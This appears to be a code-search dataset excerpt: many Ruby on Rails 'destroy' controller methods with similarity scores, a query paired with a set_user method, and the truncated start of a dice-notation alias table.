"def destroy\n @user_push_content.destroy\n respond_to do |format|\n format.html { redirect_to user_push_contents_url, notice: 'User push content was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user_icon = UserIcon.find(params[:id])\n @user_icon.destroy\n\n respond_to do |format|\n format.html { redirect_to(\n polymorphic_url([:admin, @user_iconable, :user_icons])) }\n end\n end",
"def destroy\n @euclid_user_message = EuclidUserMessage.find(params[:id])\n @euclid_user_message.destroy\n\n respond_to do |format|\n format.html { redirect_to euclid_user_messages_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @mention.destroy\n respond_to do |format|\n format.html { redirect_to mentions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @weixin_user = current_user.weixin_users.find(params[:id])\n @weixin_user.destroy\n\n respond_to do |format|\n format.html { redirect_to weixin_users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @exosuit.destroy\n respond_to do |format|\n format.html { redirect_to exosuits_url, notice: 'Exosuit was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @custom_avatar.destroy\n respond_to do |format|\n format.html { redirect_to custom_avatars_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @sprite = current_user.sprites.find(params[:id])\n @sprite.destroy\n\n require 'fileutils'\n file_path = \"#{Rails.root}/public/generated/#{@sprite.id}.png\"\n if File.exist?(file_path)\n FileUtils.rm(file_path)\n end\n\n respond_to do |format|\n format.html { redirect_to sprites_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @exercise_types_in_user.destroy\n respond_to do |format|\n format.html { redirect_to exercise_types_in_users_url, notice: 'Exercise types in user was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @nickname.destroy\n respond_to do |format|\n format.html { redirect_to nicknames_url, notice: 'Nickname was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find_by(uuid:params[:uuid])\n @user.characters.all.each do |x| x.destroy end\n @user.answers.all.each do |x| x.destroy end\n @user.destroy\n redirect_to users_path\n end",
"def destroy\n @character.destroy\n respond_to do |format|\n format.html { redirect_to user_path(current_user) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user_mood.destroy\n respond_to do |format|\n format.html { redirect_to user_moods_url, notice: 'User mood was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @avatar.destroy\n respond_to do |format|\n format.html { redirect_to avatars_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @asterisk_user.destroy\n respond_to do |format|\n format.html { redirect_to asterisk_users_url, notice: 'Asterisk user was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @xcuser.destroy\n respond_to do |format|\n format.html { redirect_to xcusers_url, notice: 'Xcuser was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\r\n @sivic_userpermissao.destroy\r\n respond_to do |format|\r\n format.html { redirect_to sivic_userpermissaos_url }\r\n format.json { head :no_content }\r\n end\r\n end",
"def destroy\n @user_say.destroy\n respond_to do |format|\n format.html { redirect_to :back, notice: 'User say was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @avatar.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def destroy\n @user_quest = UserQuest.find(params[:id])\n @user_quest.destroy\n\n respond_to do |format|\n format.html { redirect_to user_quests_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @markdown_image.destroy\n respond_to do |format|\n format.html { redirect_to admin_markdown_images_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @six.destroy\n respond_to do |format|\n format.html { redirect_to sixes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @userpoke.destroy\n respond_to do |format|\n format.html { redirect_to userpokes_url, notice: 'Userpoke was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @standard_avatar.destroy\n respond_to do |format|\n format.html { redirect_to standard_avatars_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user.destroy\n respond_to do |format|\n format.html { redirect_to users_url, notice: '削除しました' }\n format.json { head :no_content }\n end\n end",
"def destroy\n \"\"\"\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n \"\"\"\n end",
"def destroy\n @user.destroy!\n\n respond_to do |format|\n format.json { respond_to_destroy(:ajax) }\n format.xml { head :ok }\n format.html { respond_to_destroy(:html) }\n end\n\n rescue ActiveRecord::RecordNotFound\n respond_to_not_found(:json, :xml, :html)\n end",
"def destroy\n @user_push_key.destroy\n respond_to do |format|\n format.html { redirect_to user_push_keys_url, notice: 'User push key was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n user = @presence.user\n @presence.destroy\n respond_to do |format|\n format.html { redirect_to user_presences_url(user) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user_attachment.destroy\n respond_to do |format|\n format.html { \n flash[:notice] = 'Your image was successfully deleted.'\n redirect_to :back\n }\n format.json { head :no_content }\n end\n end",
"def destroy\n @usern.destroy\n respond_to do |format|\n format.html { redirect_to userns_url, notice: 'Usern was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @instagram_user.destroy\n respond_to do |format|\n format.html { redirect_to instagram_users_url, notice: 'User was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { respond_to_destroy(:html) }\n format.xml { head :ok}\n format.json { respond_to_destroy(:ajax) }\n end\n rescue ActiveRecord::RecordNotFound\n respond_to_not_found(:json, :xml, :html)\n end",
"def destroy\n @nickname = Nickname.find(params[:id])\n @nickname.destroy\n\n respond_to do |format|\n format.html { redirect_to(nicknames_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n # render :text => params\n @user.destroy\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @muscle.destroy\n respond_to do |format|\n format.html { redirect_to user_muscles_path(@user), notice: 'Muscle was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n render json:@user\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n render json:@user\n end",
"def destroy\n @user = User.find(params[:user_uuid])\n @user.destroy\n head :ok\n end",
"def destroy\n @user_id.destroy\n respond_to do |format|\n format.html { redirect_to user_ids_url, notice: 'User was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find_by_urlname(params[:id])\n @user.destroy\n \n respond_to do |format|\n flash[:notice] = \"User deleted from the system\"\n format.html { redirect_to users_path }\n format.xml { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:user_id])\n @message = @user.messages.find(params[:id])\n @message.destroy\n\n respond_to do |format|\n format.html { redirect_to user_messages_path(@users) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @usermail.destroy\n respond_to do |format|\n format.html { redirect_to usermails_url, notice: 'Usermail was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @xinyongtongji = Xinyongtongji.find(params[:id])\n @xinyongtongji.destroy\n\n respond_to do |format|\n format.html { redirect_to xinyongtongjis_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find_by_username(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @exam_user = ExamUser.find(params[:id])\n @exam_user.destroy\n\n respond_to do |format|\n format.html { redirect_to exam_users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n respond_to do |format|\n format.html { redirect_to users_path, notice: 'The user and all associated events were successfully deleted.'}\n format.json { head :no_content }\n end\n\n end",
"def destroy\n @users_hacktag = UsersHacktag.find(params[:id])\n @users_hacktag.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_hacktags_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @user.destroy\n render json: {message: 'Usuario Excluido'} , status: :ok\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def destroy\n @user.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def destroy\n @usermail = Usermail.find(params[:id])\n @usermail.destroy\n\n respond_to do |format|\n format.html { redirect_to usermails_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @guidances_user.destroy\n respond_to do |format|\n format.html { redirect_to guidances_users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @syoji = Syoji.find(params[:id])\n @syoji.destroy\n\n redirect_to syojis_path\n end",
"def destroy\n @user = User.find(params[:user_id])\n @note = @user.notes.find(params[:id])\n @note.destroy\n respond_to do |format|\n format.html { redirect_to user_notes_path(@user) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @glyph = Glyph.find(params[:id])\n @glyph.destroy\n\n respond_to do |format|\n format.html { redirect_to glyphs_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @reaction.destroy\n respond_to do |format|\n flash[:notice] = 'Boom!'\n format.html { redirect_to reactions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user_has_note.destroy\n respond_to do |format|\n format.html { redirect_to user_has_notes_url, notice: 'User has note was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(entries_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @user = User.find_by_id_or_username params[:id]\n @user.destroy\n render api_delete @user\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to dm_core.admin_users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @euclid_user = EuclidUser.find(params[:id])\n @euclid_user.destroy\n\n respond_to do |format|\n format.html { redirect_to euclid_users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n the_name = @user.username\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_path, notice: \"User [#{the_name}] was successfully deleted.\" }\n format.js { redirect_to users_path, notice: \"User [#{the_name}] was successfully deleted.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user_id = UserId.find(params[:id])\n @user_id.destroy\n\n respond_to do |format|\n format.html { redirect_to user_ids_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @users_desc.destroy\n respond_to do |format|\n format.html { redirect_to users_descs_url, notice: 'Users desc ha sido eliminado.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @powe_factor_nozzle_x.destroy\n respond_to do |format|\n format.html { redirect_to powe_factor_nozzle_xes_url, notice: 'Powe factor nozzle x was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = current_user\n @message = current_user.extension.messages.find(params[:id])\n @message.destroy\n\n respond_to do |format|\n format.html { redirect_to(messages_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @my_badge = User::MyBadge.find(params[:id])\n @my_badge.destroy\n\n respond_to do |format|\n format.html { redirect_to(user_my_badges_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @ums_user.destroy\n respond_to do |format|\n format.html { redirect_to ums.users_url, notice: '用户删除成功.' }\n format.json { head :no_content }\n end\n end",
"def delete\n render json: User.delete(params[\"id\"])\n end",
"def destroy\n @user_action.destroy\n respond_to do |format|\n format.html { redirect_to user_actions_url, notice: 'User action was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user.destroy\n respond_to do |format|\n format.html { redirect_to users_url, notice: t('user.destroy.success') }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user_addon = UserAddon.find(params[:id])\n @user_addon.destroy\n\n respond_to do |format|\n format.html { redirect_to([:scaffold, user_addons_url]) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @user.destroy\n respond_to do |format|\n format.json {render :json=> \"true\"}\n end\n end",
"def destroy\n @user = User.find(params[:user_id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n HerosUsers.destroy_all(:user_id => @user.id)\n @user.destroy\n respond_to do |format|\n format.html { redirect_to users_url, notice: 'User was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user_entry.destroy\n respond_to do |format|\n format.html { redirect_to user_entries_url, notice: 'User entry was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user_entry.destroy\n respond_to do |format|\n format.html { redirect_to user_entries_url, notice: 'User entry was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @lier_private_message_user.destroy\n respond_to do |format|\n format.html { redirect_to lier_private_message_users_url, notice: 'Lier private message user was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @mk_user.destroy\n respond_to do |format|\n format.html { redirect_to mk_users_url, notice: 'Mk user was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @myuser.destroy\n respond_to do |format|\n format.html { redirect_to myusers_url, notice: 'Myuser was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user_answer.destroy\n respond_to do |format|\n format.html { redirect_to user_answers_url, notice: 'User answer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user_answer.destroy\n respond_to do |format|\n format.html { redirect_to user_answers_url, notice: 'User answer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user_hito.destroy\n respond_to do |format|\n format.html { redirect_to user_hitos_url, notice: 'User hito was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @leccion_kanji.destroy\n respond_to do |format|\n format.html { redirect_to leccion_kanjis_url, notice: 'Leccion kanji was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user.destroy\n respond_to do |format|\n format.html { redirect_to users_url, notice: 'Usuário excluido com sucesso.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user_email.destroy\n respond_to do |format|\n format.html { redirect_to user_emails_url, notice: 'User email was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user.destroy\n respond_to do |format|\n format.html { redirect_to users_url, notice: '.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @usuarios_email.destroy\n respond_to do |format|\n format.html { redirect_to usuarios_emails_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find_by_id(params[:id])\n @user.destroy\n render :json=>{:status =>t('users.destroy.success')}\n end",
"def destroy\n @user = User.find_by_id(params[:id])\n @user.destroy\n render :json=>{:status =>t('users.destroy.success')}\n end",
"def destroy\n @message_hashtag.destroy\n respond_to do |format|\n format.html { redirect_to message_hashtags_url, notice: 'Message hashtag was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @mensaje_usuario = MensajeUsuario.find(params[:id])\n @mensaje_usuario.destroy\n\n respond_to do |format|\n format.html { redirect_to mensaje_usuarios_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n debugger\n @user.destroy\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end"
] |
[
"0.7124477",
"0.680654",
"0.65564674",
"0.6537442",
"0.6502893",
"0.6443",
"0.64262074",
"0.6415083",
"0.6406632",
"0.6380994",
"0.63372594",
"0.6323784",
"0.6313672",
"0.6264809",
"0.62405664",
"0.6228518",
"0.6224238",
"0.6223252",
"0.61866254",
"0.6178145",
"0.617338",
"0.6149997",
"0.61314124",
"0.611292",
"0.61075383",
"0.6100317",
"0.60991323",
"0.60902596",
"0.60807735",
"0.6080768",
"0.60738313",
"0.6064523",
"0.6059715",
"0.6055979",
"0.6054658",
"0.60518616",
"0.6051858",
"0.6051313",
"0.60504895",
"0.60497725",
"0.6049275",
"0.6046545",
"0.6043365",
"0.60402745",
"0.60402745",
"0.60359186",
"0.6034156",
"0.60333353",
"0.60265094",
"0.6025429",
"0.60154074",
"0.6010722",
"0.6009116",
"0.600842",
"0.600588",
"0.60053474",
"0.60049003",
"0.59995997",
"0.59988606",
"0.5996985",
"0.599627",
"0.5993951",
"0.59909415",
"0.5989245",
"0.5989127",
"0.5982292",
"0.5980071",
"0.5979007",
"0.5977882",
"0.59747475",
"0.596795",
"0.5961566",
"0.59587467",
"0.59579706",
"0.59535635",
"0.59532154",
"0.5950883",
"0.5950729",
"0.59430635",
"0.59398323",
"0.5939251",
"0.5933852",
"0.5932908",
"0.59320307",
"0.59320307",
"0.5930891",
"0.5930188",
"0.5929782",
"0.5926054",
"0.5926054",
"0.5925994",
"0.5924524",
"0.5924219",
"0.5924071",
"0.5923059",
"0.59127295",
"0.59107554",
"0.59107554",
"0.5908816",
"0.5907926",
"0.59065896"
] |
0.0
|
-1
|
Use callbacks to share common setup or constraints between actions.
|
def set_user
@user = User.find(params[:user_id])
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
"def execute(setup)\n @action.call(setup)\n end",
"def define_action_helpers?; end",
"def set_actions\n actions :all\n end",
"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"def before_actions(*logic)\n self.before_actions = logic\n end",
"def setup_handler\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def workflow\n end",
"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def process_action(...)\n send_action(...)\n end",
"def before_dispatch(env); end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
"def setup\n # override and do something appropriate\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"def setup(&block)\n define_method(:setup, &block)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def action\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def config(action, *args); end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
"def before_action \n end",
"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def action\n end",
"def matt_custom_action_begin(label); end",
"def setup\n # override this if needed\n end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def setup_signals; end",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def initialize(*args)\n super\n @action = :set\nend",
"def after_set_callback; end",
"def setup\n #implement in subclass;\n end",
"def lookup_action; end",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def release_actions; end",
"def around_hooks; end",
"def save_action; end",
"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def action_target()\n \n end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def default_action; end",
"def setup(&blk)\n @setup_block = blk\n end",
"def callback_phase\n super\n end",
"def advice\n end",
"def _handle_action_missing(*args); end",
"def duas1(action)\n action.call\n action.call\nend",
"def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end",
"def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend"
] |
[
"0.6163163",
"0.6045976",
"0.5946146",
"0.591683",
"0.5890051",
"0.58349305",
"0.5776858",
"0.5703237",
"0.5703237",
"0.5652805",
"0.5621621",
"0.54210985",
"0.5411113",
"0.5411113",
"0.5411113",
"0.5391541",
"0.53794575",
"0.5357573",
"0.53402257",
"0.53394014",
"0.53321576",
"0.53124547",
"0.529654",
"0.5296262",
"0.52952296",
"0.52600986",
"0.52442724",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.5232394",
"0.523231",
"0.5227454",
"0.52226824",
"0.52201617",
"0.5212327",
"0.52079266",
"0.52050185",
"0.51754695",
"0.51726824",
"0.51710224",
"0.5166172",
"0.5159343",
"0.51578903",
"0.51522785",
"0.5152022",
"0.51518047",
"0.51456624",
"0.51398855",
"0.5133759",
"0.5112076",
"0.5111866",
"0.5111866",
"0.5110294",
"0.5106169",
"0.509231",
"0.50873137",
"0.5081088",
"0.508059",
"0.50677156",
"0.50562143",
"0.5050554",
"0.50474834",
"0.50474834",
"0.5036181",
"0.5026331",
"0.5022976",
"0.5015441",
"0.50121695",
"0.5000944",
"0.5000019",
"0.4996878",
"0.4989888",
"0.4989888",
"0.49864885",
"0.49797225",
"0.49785787",
"0.4976161",
"0.49683493",
"0.4965126",
"0.4958034",
"0.49559742",
"0.4954353",
"0.49535993",
"0.4952725",
"0.49467874",
"0.49423352",
"0.49325448",
"0.49282882",
"0.49269363",
"0.49269104",
"0.49252945",
"0.4923091",
"0.49194667",
"0.49174926",
"0.49173003",
"0.49171105",
"0.4915879",
"0.49155936"
] |
0.0
|
-1
|
Returns an input string after it's been put through the aliases
|
def alias_input_pass(input)
# Each entry is formatted [/Alias match regex/, "Alias Name", /gsub replacement regex/, "replace with string"]
alias_input_map = [
[/\b\d+dF\b/i, 'Fudge', /\b(\d+)dF\b/i, '\\1d3 f1 t3'], # Fate fudge dice
[/\bSNM\d+\b/i, 'Sunsails', /\bSNM(\d+)\b/i, '\\1d6 ie6 t4'], # Sunsails: New Milennium; Fourth Edition
[/\b\d+wh\d+\+/i, 'Warhammer', /\b(\d+)wh(\d+)\+/i, '\\1d6 t\\2'], # Warhammer (AoS/40k)
[/\b\d+WoD\d+\b/i, 'WoD', /\b(\d+)WoD(\d+)\b/i, '\\1d10 f1 t\\2'], # World of Darkness 4th edition (note: explosions are left off for now)
[/\bdd\d\d\b/i, 'Double Digit', /\bdd(\d)(\d)\b/i, '(1d\\1 * 10) + 1d\\2'], # Rolling one dice for each digit
[/\bage\b/i, 'AGE System Test', /\b(age)\b/i, '2d6 + 1d6'], # 2d6 plus one drama/dragon/stunt die
[/\B\+d\d+\b/i, 'Advantage', /\B\+d(\d+)\b/i, '2d\\1 d1'], # Roll two dice of the specified size and keep the highest
[/\B-d\d+\b/i, 'Disadvantage', /\B-d(\d+)\b/i, '2d\\1 kl1'], # Roll two dice of the specified size and keep the lowest
[/\B\+d%\B/i, 'Advantage on percentile', /\B\+d%\B/i, '((2d10kl1-1) *10) + 1d10'], # Roll two d10s for the tens column and keep the lowest (roll under system) then add a d10 for the ones
[/\B-d%\B/i, 'Disadvantage on percentile', /\B-d%\B/i, '((2d10k1-1) *10) + 1d10'], # Roll two d10s for the tens column and keep the highest (roll under system) then add a d10 for the ones
[/\b\d+CoD\b/i, 'CoD 10-again', /\b(\d+)CoD\b/i, '\\1d10 ie10 t8'], # Chronicles of Darkness (default, 10-again)
[/\b\d+CoD8\b/i, 'CoD 8-again', /\b(\d+)CoD8\b/i, '\\1d10 ie9 t8'], # Chronicles of Darkness (8-again)
